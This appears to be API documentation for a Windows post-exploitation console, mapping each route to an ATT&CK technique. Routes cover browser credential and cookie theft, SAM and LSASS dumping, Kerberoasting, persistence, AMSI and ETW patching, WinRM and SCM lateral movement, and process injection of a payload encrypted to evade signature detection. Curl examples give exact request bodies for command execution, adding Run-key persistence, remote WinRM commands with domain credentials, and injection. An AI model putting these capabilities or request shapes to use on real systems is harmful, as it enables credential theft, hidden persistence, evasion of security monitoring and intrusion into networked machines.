Capabilities & gates
The complete API surface — all 29 routes — with the flag that unlocks each one. Nothing
here is hidden behind a flag you cannot see: a locked route answers
403 and returns the exact flag that would open it.
Every request below is a loopback request to
127.0.0.1:8080 and carries
X-Signal-Token: <per-run token>. The token is shown in the dashboard page
and printed (short form) at startup; it is regenerated on every launch.
See
Security model for what that token does and does not protect.
Page and channel routes
No token: these cannot carry one on first load. The loopback Host check is what makes them safe to serve.
| Route | Guard | What it serves |
| GET / | loopback Host | The dashboard (token injected into the page, same-origin only) |
| GET /healthz | loopback Host | Liveness, ok |
| GET /ws | loopback Host + loopback Origin + ?t= | WebSocket console channel; browsers cannot attach headers to a WS handshake, so the token travels in the query string |
Always available (token only)
Compiled in, reachable with the per-run token, no flag required.
| Route | What it does | Technique |
| GET /v1/sys/st | Execution context: reports USER or ADMIN for the process token | — |
| GET /v1/sys/b2 | Live process table (JSON) for PID targeting | — |
| GET /v1/sys/hex | First 256 bytes of the payload file, hex-encoded — payload integrity inspection | — |
| POST /v1/sys/cmd | Command console: executes a shell command as the token holder | — |
| POST /v1/sys/opt | Telemetry/privacy hardening: writes HKLM policy (AllowTelemetry, WER) and stops + disables DiagTrack. No flag, and it takes no body. | — |
| POST /v1/audit/report | The audit checklist as JSON | — |
| POST /v1/audit/csv | The audit checklist as CSV | — |
Credential collection — --enable-collect
Auto-elevates via UAC at startup: the SAM hives, the LSASS minidump and the browser App-Bound key unwrap cannot work with a filtered token.
| Route | What it does | Technique |
| GET /v1/sys/a7 | Browser credential inventory | T1555.003 |
| GET /v1/sys/cookies | Browser cookie inventory | T1555.003 |
| GET /v1/sys/nexus | Identity Nexus: the identity picture assembled from local browser stores | T1555.003 |
| POST /v1/op/a7 | Streamed credential collection | T1555.003 |
| POST /v1/op/cookies | Streamed cookie collection | T1555.003 |
| POST /v1/sys/sam | Exports the local SAM and SYSTEM hives with RegSaveKeyEx and walks the [MS-SAMR] hash chain | T1003.002 |
| POST /v1/op/lsass | LSASS minidump — the sekurlsa::logonpasswords path | T1003.001 |
| POST /v1/op/lsass-wipe | Shreds the collected LSASS material | T1003.001 |
| POST /v1/op/roast-asrep | AS-REP roasting against accounts without pre-auth | T1558.004 |
| POST /v1/op/roast-tgs | Kerberoasting: requests service tickets for SPNs | T1558.003 |
| POST /v1/op/spn-enum | SPN enumeration, the recon step before roasting | T1558.003 |
Persistence — --enable-persist
Four backends behind one manager, each mapped to its technique.
| Route | What it does | Technique |
| GET /v1/sys/persist | Enumerates all four backends — Run keys, Startup folder, scheduled tasks, WMI subscriptions | — |
| POST /v1/op/persist-add | Creates one foothold: registry Run key, Startup folder file, schtasks entry, or a CommandLineEventConsumer | T1547.001 · T1547.009 · T1053.005 · T1546.003 |
| POST /v1/op/persist-del | Removes one; a missing entry is not an error | same four |
Self-evasion — --enable-evasion
Affects this process only. Both patches are logged with the resolved address, never applied silently.
| Route | What it does | Technique |
| POST /v1/op/etw | Neuters ntdll!EtwEventWrite in the tool's own process (W^X-safe transition) | T1562.006 |
| POST /v1/op/amsi | Patches amsi!AmsiScanBuffer in the tool's own process | T1562.001 |
Repatching is refused with 422 already patched rather than applied twice — a
blind second patch would corrupt the prologue it already rewrote.
Lateral movement — --enable-lateral
Credentials come from the operator in the request body; nothing is stored.
| Route | What it does | Technique |
| POST /v1/op/lateral-winrm | Runs a command on a remote host over WS-Management (SOAP, Basic auth) | T1021.006 |
| POST /v1/op/lateral-scm | Remote execution through the Service Control Manager: create, start, delete | T1021.002 · T1569.002 |
Process injection — --enable-inject
| Route | What it does | Technique |
| POST /v1/op/d4 | Halo's Gate indirect-syscall injection into an operator-selected local PID. amd64 only. RW → RX transition: no RWX page ever exists. | T1055 |
The payload is unpacked in memory right before the injection. Pack it with
oblpack.exe -in payloads\research_signal.bin -key <passphrase> and start the
console with the same --payload-key. The envelope is
magic || nonce || AES-256-GCM, so the on-disk bytes match no public signature.
The research note on SSN recovery and the W^X design is in
docs/HALOS_GATE.md.
Examples
Request shapes as the handlers enforce them; a wrong shape answers 400 with the expected body.
# execution context and process table
curl -s -H "X-Signal-Token: $TOK" http://127.0.0.1:8080/v1/sys/st
curl -s -H "X-Signal-Token: $TOK" http://127.0.0.1:8080/v1/sys/b2
# command console (runs as the token holder)
curl -s -X POST -H "X-Signal-Token: $TOK" \
-d '{"c":"whoami"}' http://127.0.0.1:8080/v1/sys/cmd
# persistence: list, then add a Run key
curl -s -H "X-Signal-Token: $TOK" http://127.0.0.1:8080/v1/sys/persist
curl -s -X POST -H "X-Signal-Token: $TOK" \
-d '{"type":"run","hive":"HKCU","name":"x","cmd":"C:\\path\\to\\binary.exe"}' \
http://127.0.0.1:8080/v1/op/persist-add
# lateral movement over WinRM
curl -s -X POST -H "X-Signal-Token: $TOK" \
-d '{"host":"10.0.0.5","user":"CORP\\svc","password":"…","command":"whoami"}' \
http://127.0.0.1:8080/v1/op/lateral-winrm
# injection into a selected PID (amd64)
curl -s -X POST -H "X-Signal-Token: $TOK" \
-d '{"pid":1234}' http://127.0.0.1:8080/v1/op/d4
Two things worth knowing before you unlock anything.
POST /v1/sys/opt modifies the machine — HKLM policy and the
DiagTrack service — and unlike every other state-changing capability it requires
no flag, only the token. And the token itself is handed to any process that can reach
loopback and fetch the dashboard page, so the console is a single-user tool by design:
the boundary is the machine, not the user account. Both are documented under
Security model.